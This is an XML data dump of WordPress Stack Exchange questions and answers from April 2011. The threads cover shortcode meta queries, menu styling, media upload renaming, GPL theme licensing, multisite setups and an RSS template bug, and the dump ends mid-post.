  <row Id="15009" PostTypeId="1" CreationDate="2011-04-18T13:43:40.280" Score="0" ViewCount="264" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/nurelm-get-posts/&quot; rel=&quot;nofollow&quot;&gt;Get Posts&lt;/a&gt; plugin to list posts with post type &quot;project&quot;. I want to filter the list by two custom fields: year (ex. 2006) and state (ex. Completed). I added &lt;code&gt;meta_query&lt;/code&gt; to the plugin's &lt;code&gt;get_post&lt;/code&gt; args and tried the shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[get_posts post_type=&quot;project&quot; meta_query=&quot;array(array('key' =&amp;gt; 'state', 'value' =&amp;gt; &#xA;'Completed'),array('key' =&amp;gt; 'year','value' =&amp;gt; '2006'))&quot; suppress_filters=&quot;false&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not working, though I can get both &quot;state&quot; and &quot;year&quot; to work by their own using &lt;code&gt;meta_key&lt;/code&gt; and &lt;code&gt;meta_value&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone put me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="2816" LastEditorUserId="2816" LastEditorDisplayName="" LastEditDate="2011-04-20T12:20:07.423" LastActivityDate="2011-04-20T12:20:07.423" Title="Get Posts shortcode plugin and meta_query?" Tags="&lt;shortcode&gt;&lt;meta-query&gt;&lt;plugin-nurelm-get-posts&gt;" AnswerCount="3" />
  <row Id="15010" PostTypeId="2" ParentId="15009" CreationDate="2011-04-18T13:47:27.470" Score="1" ViewCount="" Body="&lt;p&gt;I don't think the plugin been updated to support the new query args, or specifically in this case, the &lt;code&gt;meta_query&lt;/code&gt; arg. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin page lists compatibility upto &lt;strong&gt;3.0.5&lt;/strong&gt;, and if i remember correctly, &lt;code&gt;meta_query&lt;/code&gt; was introduced in &lt;strong&gt;3.1&lt;/strong&gt;, so naturally i'd conclude support is not yet available..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could be wrong, just connecting the dots..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-18T13:47:27.470" />
  <row Id="15011" PostTypeId="1" CreationDate="2011-04-18T13:59:37.590" Score="0" ViewCount="67" Body="&lt;p&gt;SEOmoz is showing that a number of my sites have issues with Rel Canonical which they describe as &quot;Using rel=canonical suggests to search engines which URL should be seen as canonical.&quot; I'm using Yoast's SEO plugin but I'm unsure what would cause this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a result of something having to do with renaming pages or changing the permalinks? If so, how would I resolve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.seomoz.org/blog/canonical-url-tag-the-most-important-advancement-in-seo-practices-since-sitemaps&quot; rel=&quot;nofollow&quot;&gt;http://www.seomoz.org/blog/canonical-url-tag-the-most-important-advancement-in-seo-practices-since-sitemaps&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-04-18T14:34:17.763" LastActivityDate="2011-04-18T14:34:17.763" Title="Pages and posts with Rel Canonical issues across entire site" Tags="&lt;seo&gt;" CommentCount="2" />
  <row Id="15012" PostTypeId="2" ParentId="15007" CreationDate="2011-04-18T14:03:49.053" Score="1" ViewCount="" Body="&lt;p&gt;You could use jQuery, if you're open to a jQuery solution?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;  &#xA;jQuery(document).ready( function($) {&#xA;    $('#your_menu_id li').has('ul').addClass('has_children');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Slight modification of what i posted &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5156/add-a-has-children-class-to-body-tag/5214#5214&quot;&gt;here&lt;/a&gt; basically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any menu item with a submenu will then have a &lt;code&gt;has_children&lt;/code&gt; class you can target in the stylesheet..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#your_menu_id li.has_children { /* your styling */ }&#xA;#your_menu_id li.has_children ul { /* your styling */ }&#xA;#your_menu_id li.has_children ul li { /* your styling */ }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-18T14:03:49.053" />
  <row Id="15013" PostTypeId="1" CreationDate="2011-04-18T14:07:51.000" Score="0" ViewCount="124" Body="&lt;p&gt;I'm creating a media upload section in my metabox. One of the things I want to be able to do is to rename the filename of the media that is uploaded to the same as the post title. so for example, say now I uploaded a picture called, pic001.jpg to the post: &quot;Test Post&quot;, in the process of the upload, I want to automatically rename the filename to test_post_1.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen the following link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5505/rename-files-during-upload-using-variables&quot;&gt;rename files during upload using variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm not too sure where you would post the data to? I've also found another link that demonstrates how you can rename the file - it's something similar to this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function make_new_filename($filename){&#xA;$info = pathinfo($filename);&#xA;    $ext  = empty($info['extension']) ? '' : '.' . $info['extension'];&#xA;    $name = basename($filename, $ext);&#xA;    $newname = &quot;test&quot;;&#xA;    return $newname . $ext;&#xA;}&#xA;add_filter('sanitize_file_name', 'make_new_filename');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if there any idea how I would get the title posted through to the media_upload.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow up: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to send the data to the media_upload.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#upload_image_button_test').click(function() {&#xA;        var postTitleVal = jQuery(&quot;#title&quot;).val();&#xA;        if(postTitleVal == ''){&#xA;            jQuery(&quot;#title&quot;).after('&amp;lt;span class=&quot;error&quot;&amp;gt; You forgot to enter the title&amp;lt;/span&amp;gt;');&#xA;        } else{&#xA;        jQuery('html').addClass('Image');&#xA;        formfield = jQuery('#upload_image_test').attr('name');&#xA;        tb_show('', 'media-upload.php?type=image&amp;amp;TB_iframe=true;title='+postTitleVal);&#xA;        console.log('media-upload.php?type=image&amp;amp;TB_iframe=true;title='+postTitleVal);&#xA;        }&#xA;&#xA;        return false;&#xA;    });&#xA;&#xA;    // user inserts file into post. only run custom if user started process using the above process&#xA;    // window.send_to_editor(html) is how wp would normally handle the received data&#xA;&#xA;    window.original_send_to_editor = window.send_to_editor;&#xA;    window.send_to_editor = function(html){&#xA;&#xA;        if (formfield) {&#xA;            fileurl = jQuery('img',html).attr('src');&#xA;&#xA;            jQuery('#upload_image_test').val(fileurl);&#xA;&#xA;&#xA;            tb_remove();&#xA;&#xA;            jQuery('html').removeClass('Image');&#xA;&#xA;        } else {&#xA;            window.original_send_to_editor(html);&#xA;        }&#xA;    };&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4340" LastEditorUserId="4340" LastEditorDisplayName="" LastEditDate="2011-04-18T15:57:24.963" LastActivityDate="2011-05-19T08:51:42.647" Title="Parsing the post title to the media box page" Tags="&lt;uploads&gt;&lt;media-upload&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="0" />
  <row Id="15015" PostTypeId="2" ParentId="15009" CreationDate="2011-04-18T14:13:54.007" Score="0" ViewCount="" Body="&lt;p&gt;The plugin uses &lt;code&gt;shortcode_atts&lt;/code&gt; to limit the list of accepted arguments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/nurelm-get-posts/tags/0.3/get-posts.php#L29&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/nurelm-get-posts/tags/0.3/get-posts.php#L29&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;meta_query&lt;/code&gt; is not on that list. I'd suggest forking the plugin or asking the author to update it to allow meta queries.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-18T17:26:19.220" LastActivityDate="2011-04-18T17:26:19.220" CommentCount="4" />
  <row Id="15016" PostTypeId="2" ParentId="15007" CreationDate="2011-04-18T14:20:24.030" Score="1" ViewCount="" Body="&lt;p&gt;Go to my menu area in admin, click the “Screen Options” link at the top, and check the “CSS Classes” then on each menu I’ll have an area I can define my css class for that menu item.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/8bajB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/vtYvZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-18T14:20:24.030" CommentCount="2" />
  <row Id="15017" PostTypeId="1" CreationDate="2011-04-18T14:22:12.390" Score="1" ViewCount="298" Body="&lt;p&gt;It's a large Wordpress multisite installation, using subfolders for the individual blogs, not domains. We are running version 3.1, and preview posts doesn't work. When I press preview I get the 404.php page. Nothing in the log files that caught my eye, all plugins disabled.&#xA;Sometimes I get an error message about insufficient rights when I press preview.&#xA;I'm running out of ideas to try.&lt;/p&gt;&#xA;" OwnerUserId="221" LastActivityDate="2011-08-09T03:21:16.153" Title="Preview posts returns 404" Tags="&lt;multisite&gt;&lt;3.1&gt;&lt;404-error&gt;" AnswerCount="2" CommentCount="10" />
  <row Id="15018" PostTypeId="1" CreationDate="2011-04-18T14:27:34.503" Score="0" ViewCount="154" Body="&lt;p&gt;I read that all themes on the wordpress.org site are GPL compatible. So can I download the theme, edit it and use it? Can I remove the links that point to the theme developer's website? Does the GPL license allow this?&lt;/p&gt;&#xA;" OwnerUserId="4753" LastActivityDate="2011-05-21T15:34:34.710" Title="Can I Download a Free Wordpress Theme, Edit it and Use it?" Tags="&lt;themes&gt;&lt;licensing&gt;" AnswerCount="4" />
  <row Id="15019" PostTypeId="2" ParentId="15018" CreationDate="2011-04-18T14:36:09.073" Score="0" ViewCount="" Body="&lt;p&gt;GPL license &lt;strong&gt;Does&lt;/strong&gt; allow to remove credit links, but that is just not cool, it a small appreciation to the hard word of the theme developer/designer and if you do remove then please consider a donation to that theme developer/designer.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-18T14:36:09.073" />
  <row Id="15020" PostTypeId="2" ParentId="15013" CreationDate="2011-04-18T14:39:52.673" Score="0" ViewCount="" Body="&lt;p&gt;You need to either paste this code in your theme's functions.php file or create a plugin and paste it there.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-18T14:39:52.673" CommentCount="1" />
  <row Id="15021" PostTypeId="1" CreationDate="2011-04-18T14:42:19.160" Score="0" ViewCount="197" Body="&lt;p&gt;I would like to set a post to Draft automatically based on a custom field date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;strong&gt;&lt;a href=&quot;http://magicfields.org/&quot; rel=&quot;nofollow&quot;&gt;I am using the plugin Magic Fields.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the following code I want to use a custom field 'expiration' to give the date.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sfn_show_expire(){ &#xA;global $wpdb; &#xA;$server_time = date('mdy'); &#xA;$result = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM wp_posts WHERE post_type = 'show' AND post_status = 'publish'&quot;); &#xA;if( !empty($result)) foreach ($result as $a){ &#xA;$show_time = get_the_time('mdy', $a-&amp;gt;ID ); &#xA;if ( $server_time &amp;gt; $show_time){ &#xA;$my_post = array(); &#xA;$my_post['ID'] = $a-&amp;gt;ID; &#xA;$my_post['post_status'] = 'draft'; &#xA;wp_update_post( $my_post ); &#xA;} &#xA;} // end foreach &#xA;} &#xA;add_action( 'init', 'sfn_show_expire' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ultimately I would like to make this in a cron job, but for now any suggestions to the code would be great. &lt;/p&gt;&#xA;" OwnerUserId="4755" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-19T19:47:48.007" LastActivityDate="2011-08-18T10:26:23.137" Title="How to automatically change a posts status to draft based on custom field" Tags="&lt;custom-field&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="15022" PostTypeId="2" ParentId="15018" CreationDate="2011-04-18T14:45:30.957" Score="0" ViewCount="" Body="&lt;p&gt;You can remove credit links (although it's a fairly scummy thing to do), but you cannot remove the GPL licence text in the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, unless specifically excepted, you cannot do the same for CSS files and any included images.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-18T14:45:30.957" />
  <row Id="15023" PostTypeId="2" ParentId="15009" CreationDate="2011-04-18T14:51:48.250" Score="1" ViewCount="" Body="&lt;p&gt;Besides the plugin not being updated, this will not work because the meta_query arg is evaluated as a string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(3) {&#xA;  [&quot;post_type&quot;] =&amp;gt; string(7) &quot;project&quot;&#xA;  [&quot;meta_query&quot;] =&amp;gt; string(96) &quot;array(array('key' =&amp;gt; 'state', 'value' =&amp;gt; &#xA;'Completed'),array('key' =&amp;gt; 'year','value' =&amp;gt; '2006'))&quot;&#xA;  [&quot;suppress_filters&quot;] =&amp;gt; string(5) &quot;false&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suggest you make a &lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;custom page template&lt;/a&gt;, where you would directly call get_posts() with the meta_query you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to copy the code that handles the actual listing of the posts.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-18T15:00:15.790" LastActivityDate="2011-04-18T15:00:15.790" CommentCount="1" />
  <row Id="15024" PostTypeId="1" AcceptedAnswerId="15096" CreationDate="2011-04-18T15:00:33.520" Score="1" ViewCount="128" Body="&lt;p&gt;I have different widget areas. One is a horizontal area that may contain eg. 4 widgets next to each other. My Question is how would i add a different eg. &lt;code&gt;$param['widget_title']&lt;/code&gt; to widget number &lt;code&gt;$n&lt;/code&gt; (via a filter)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried using &lt;code&gt;wp_registered_widgets();&lt;/code&gt; function and te different globals, but with no result.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-19T14:24:51.863" LastActivityDate="2011-04-20T12:52:42.420" Title="Widget Area: Modify $param['xy'] from widget-$n" Tags="&lt;widgets&gt;&lt;filters&gt;&lt;add-filter&gt;" AnswerCount="2" CommentCount="9" />
  <row Id="15025" PostTypeId="1" AcceptedAnswerId="15029" CreationDate="2011-04-18T15:05:44.460" Score="0" ViewCount="92" Body="&lt;p&gt;I want a separate production and test/dev instance. Is it possible to have two installs of wordpress multi on the same server, using different databases or do I need 2 servers, one for test and one for production?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have a test instance where I can try out plugins, setting changes etc, without affecting my production instance&lt;/p&gt;&#xA;" OwnerUserId="4756" LastActivityDate="2011-05-20T07:36:07.357" Title="muliple wordpress multisite installs on the same sever" Tags="&lt;multisite&gt;&lt;best-practices&gt;&lt;install&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="15026" PostTypeId="2" ParentId="15021" CreationDate="2011-04-18T15:10:23.530" Score="0" ViewCount="" Body="&lt;p&gt;For cron jobs, take a look at the &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest could maybe be acchieved with something &lt;em&gt;like&lt;/em&gt; the following. I have never ever used the transient API before and code's not tested.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function set_post_to_draft()&#xA;{&#xA;    global $post;&#xA;&#xA;    if ( get_post_meta( $post-&amp;gt;ID, 'set_to_draft_key' ) == true );&#xA;        return $post-&amp;gt;post_status == 'draft';&#xA;}&#xA;set_transient( 'post_to_draft_transient', set_post_to_draft(), 60*60*12 ); // 12h interval&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-18T15:10:23.530" CommentCount="9" />
  <row Id="15027" PostTypeId="2" ParentId="15018" CreationDate="2011-04-18T15:37:10.173" Score="1" ViewCount="" Body="&lt;p&gt;It is entirely &lt;strong&gt;legally&lt;/strong&gt; possible to do so; check the wikipedia article on GPL, and if you are really boring read the GPL license in a few of the themes you want to use. But it is very &lt;strong&gt;morally&lt;/strong&gt; questionable to take someone's work without giving them credit for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual solution that satisfies both moral and legal requirements is to give the theme developer a donation for their theme and then modify as you will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and if you like a theme, email the creator and tell them. Nobody minds a compliment!&lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-04-18T15:37:10.173" CommentCount="2" />
  <row Id="15028" PostTypeId="2" ParentId="15025" CreationDate="2011-04-18T15:38:25.213" Score="1" ViewCount="" Body="&lt;p&gt;Depending on your server, but I see no reason for this not to work. In fact I have the same setup of production and test multisite installations on one server.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-26T14:13:31.777" LastActivityDate="2011-04-26T14:13:31.777" />
  <row Id="15029" PostTypeId="2" ParentId="15025" CreationDate="2011-04-18T15:38:27.550" Score="1" ViewCount="" Body="&lt;p&gt;Yes, it's possible to have 2 WP MultiSite installs on the same server - just treat them as 2 separate virtual hosts, put the WP files in separate folders and use separate databases (although you can use the same database server)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-18T15:38:27.550" CommentCount="2" />
  <row Id="15030" PostTypeId="1" AcceptedAnswerId="15033" CreationDate="2011-04-18T15:42:17.220" Score="0" ViewCount="103" Body="&lt;p&gt;I have a plugin filter that isn't working for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gform_notification_email_3', 'route_notification', 10, 2 );&#xA;function route_notification($email_to, $entry) {&#xA;    global $post;&#xA;    $email_to = get_the_author_email();&#xA;    return $email_to;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the $email_to variable isn't being set properly, but how do I echo this variable out to check it?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-04-18T15:57:03.540" Title="What's the best way to echo out a filter variable?" Tags="&lt;plugins&gt;&lt;filters&gt;&lt;variables&gt;&lt;plugin-gravity-forms&gt;" AnswerCount="1" />
  <row Id="15032" PostTypeId="1" CreationDate="2011-04-18T15:52:32.790" Score="0" ViewCount="69" Body="&lt;p&gt;I have a registered domain, I want to forward my tumblr site to my registered domain ..!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e) &lt;a href=&quot;http://abc.tumblr.com&quot; rel=&quot;nofollow&quot;&gt;http://abc.tumblr.com&lt;/a&gt; should go to &lt;a href=&quot;http://abc.com&quot; rel=&quot;nofollow&quot;&gt;http://abc.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have mentioned my link under their custom site option. It's been more than 2 days, still i am not getting my website ..!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the possible reasons ?&lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2011-04-18T15:52:32.790" ClosedDate="2011-04-18T16:02:08.433" Title="URL Forwarding in Tumblr" Tags="&lt;wordpress.com&gt;&lt;tumblr&gt;" CommentCount="2" />
  <row Id="15033" PostTypeId="2" ParentId="15030" CreationDate="2011-04-18T15:57:03.540" Score="1" ViewCount="" Body="&lt;p&gt;Like usual. :) Works most of the time unless it ends up in some place that is not echoed to the screen by browser.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $email_to;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for debug it is more informational to use &lt;code&gt;var_dump()&lt;/code&gt;. Personally I usually use this to quickly add/remove dump to filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('filter','dump_filter',10,2); // or how much it passes, etc&#xA;&#xA;function dump_filter($input) {&#xA;&#xA;    var_dump(func_get_args());&#xA;&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-18T15:57:03.540" />
  <row Id="15034" PostTypeId="1" AcceptedAnswerId="15062" CreationDate="2011-04-18T15:59:53.180" Score="2" ViewCount="184" Body="&lt;p&gt;One of the sites I currently maintain have approximately 2000 individual pages, broken down into departments and other such categories. Some of these pages contain &quot;dynamic&quot; content, such as a list of documents that are updated or added to on a monthly basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're thinking of migrating to WordPress for this site, but I'm trying to track down a list of sites that are serving the capacity of documents/information that we currently are to see how they do it, and maybe look at any plugins/themes they are running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a list or does anybody know of sites at that capacity?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-28T01:35:00.240" LastActivityDate="2011-09-05T14:56:51.713" Title="What are examples of large sites running WordPress?" Tags="&lt;scale&gt;&lt;pre-sale&gt;&lt;capacity&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="1" />
  <row Id="15035" PostTypeId="2" ParentId="14851" CreationDate="2011-04-18T16:19:09.830" Score="0" ViewCount="" Body="&lt;p&gt;Using the &lt;a href=&quot;http://us.php.net/manual/en/filter.filters.sanitize.php&quot; rel=&quot;nofollow&quot;&gt;PHP filter_var() function with appropriate filters&lt;/a&gt; does allow the sanitized text to be inserted into the meta field.  What's going on with esc_html seems to be some obscure character coding issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress 3.2 will require PHP 5.2.  So, if you're having trouble with the WP esc_html() function, the PHP 5.2 filter_var is a good alternative.&lt;/p&gt;&#xA;" OwnerUserId="3202" LastActivityDate="2011-04-18T16:19:09.830" />
  <row Id="15036" PostTypeId="1" AcceptedAnswerId="15065" CreationDate="2011-04-18T16:47:55.497" Score="0" ViewCount="437" Body="&lt;p&gt;I've bee experimenting with a site I'm working on. My client wants the header with its nav and logo intact, so visitors always have the ability to access the navbar while scrolling to read the page content. I have added &lt;code&gt;fixed&lt;/code&gt; to my wrapper &lt;code&gt;div&lt;/code&gt; and that keeps the background static, but in this design the background is also part of the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My page is &lt;a href=&quot;http://axiomwest.com/client-services/&quot; rel=&quot;nofollow&quot;&gt;http://axiomwest.com/client-services/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve a fixed header area and allow scrolling only in the main content area?&lt;/p&gt;&#xA;" OwnerUserId="4596" LastActivityDate="2011-08-09T13:41:15.233" Title="How to create a fixed header and scrolling content area" Tags="&lt;theme-development&gt;&lt;theme-twenty-ten&gt;&lt;header&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="15037" PostTypeId="2" ParentId="15034" CreationDate="2011-04-18T16:58:02.430" Score="2" ViewCount="" Body="&lt;p&gt;This is a great article explaining basically everything you are asking for here. Give it a read!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://designinformer.com/using-wordpress-build-large-scale-websites-derek-herman-ask-expert/&quot; rel=&quot;nofollow&quot;&gt;http://designinformer.com/using-wordpress-build-large-scale-websites-derek-herman-ask-expert/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you want a simple answer:&#xA;In my educated opinion it works great and would make your life a lot easier!&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-18T16:58:02.430" />
  <row Id="15038" PostTypeId="1" AcceptedAnswerId="15039" CreationDate="2011-04-18T16:59:49.373" Score="1" ViewCount="72" Body="&lt;p&gt;I'm trying to create a custom RSS feed template for a site my company manages, and I've encountered a very confusing bug I'd like some input on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, as background context, after a lot of Googling, this is the method I've chosen to create the RSS template.  (If there's a better approach, I'm all ears):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy /wp-includes/feed-rss2.php into my theme folder &lt;/li&gt;&#xA;&lt;li&gt;Specify that file as a page template, and modify as desired&lt;/li&gt;&#xA;&lt;li&gt;From the Wordpress backend, create a new page that uses the above template &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From there, you get an XML feed that's formatted for RSS.  That process seems to work fine, even if it's a bit kludgy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, here's the issue I'm having.  The XML outputted looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt; &#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:slash=&quot;http://purl.org/rss/1.0/modules/slash/&quot;&#xA;    &amp;gt; &#xA;&#xA;&amp;lt;channel&amp;gt; &#xA;    &amp;lt;title&amp;gt;New Grocery Coupons &amp;amp; Online Coupons Added Daily&amp;lt;/title&amp;gt; &#xA;    &amp;lt;atom:link href=&quot;http://couponkim.dev/weekly-deals-rss/&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt; &#xA;    &amp;lt;link&amp;gt;http://couponkim.dev&amp;lt;/link&amp;gt; &#xA;    &amp;lt;description&amp;gt;Coupon Kim has online coupons, printable coupons, and coupon code section for Moms like me trying to save money!&amp;lt;/description&amp;gt; &#xA;    &amp;lt;lastBuildDate&amp;gt;Mon, 18 Apr 2011 14:51:44 +0000&amp;lt;/lastBuildDate&amp;gt; &#xA;    &amp;lt;language&amp;gt;en&amp;lt;/language&amp;gt; &#xA;    &amp;lt;sy:updatePeriod&amp;gt;hourly&amp;lt;/sy:updatePeriod&amp;gt; &#xA;    &amp;lt;sy:updateFrequency&amp;gt;1&amp;lt;/sy:updateFrequency&amp;gt; &#xA;    &amp;lt;generator&amp;gt;http://wordpress.org/?v=3.1&amp;lt;/generator&amp;gt; &#xA;        &amp;lt;item&amp;gt; &#xA;        &amp;lt;title&amp;gt;coupon-code&amp;lt;/title&amp;gt; &#xA;        &amp;lt;link&amp;gt;http://couponkim.dev/soap-com-coupons/coupon-code-159/&amp;lt;/link&amp;gt; &#xA;        &amp;lt;comments&amp;gt;http://couponkim.dev/soap-com-coupons/coupon-code-159/#comments&amp;lt;/comments&amp;gt; &#xA;        &amp;lt;pubDate&amp;gt;Mon, 18 Apr 2011 13:46:18 +0000&amp;lt;/pubDate&amp;gt; &#xA;&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I've truncated the output for the sake of relevancy.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to view the above in a Google Chrome, I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error on line 12 at column 30: xmlParseEntityRef: no name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My assumption here is that the ampersand is causing problems, though honestly, that's still a guess at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK.  So this is where it starts to get weird.  I went into the PHP template, and embeded that title inside of a CDATA tag.  Strangely, I didn't see that change reflected in the output when I refreshed the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying something simpler, I just killed all of the PHP in the template inside of the title tags, and replaced it with static text like &quot;This is a Test.&quot;  When I refreshed the page, I &lt;em&gt;still&lt;/em&gt; didn't see any change in the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point, I suspected that some cache somewhere must be working against me.  I disabled the W3 Total Cache plugin, cleared my browser's cache (I'm using Chrome), and restarted Apache for the hell of it.  I reloaded the page again, but saw no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as an experiment, I changed the &lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&lt;/code&gt; tags to read &lt;code&gt;&amp;lt;test&amp;gt;&amp;lt;/test&amp;gt;&lt;/code&gt; and reloaded.  This time, I &lt;em&gt;did&lt;/em&gt; see the 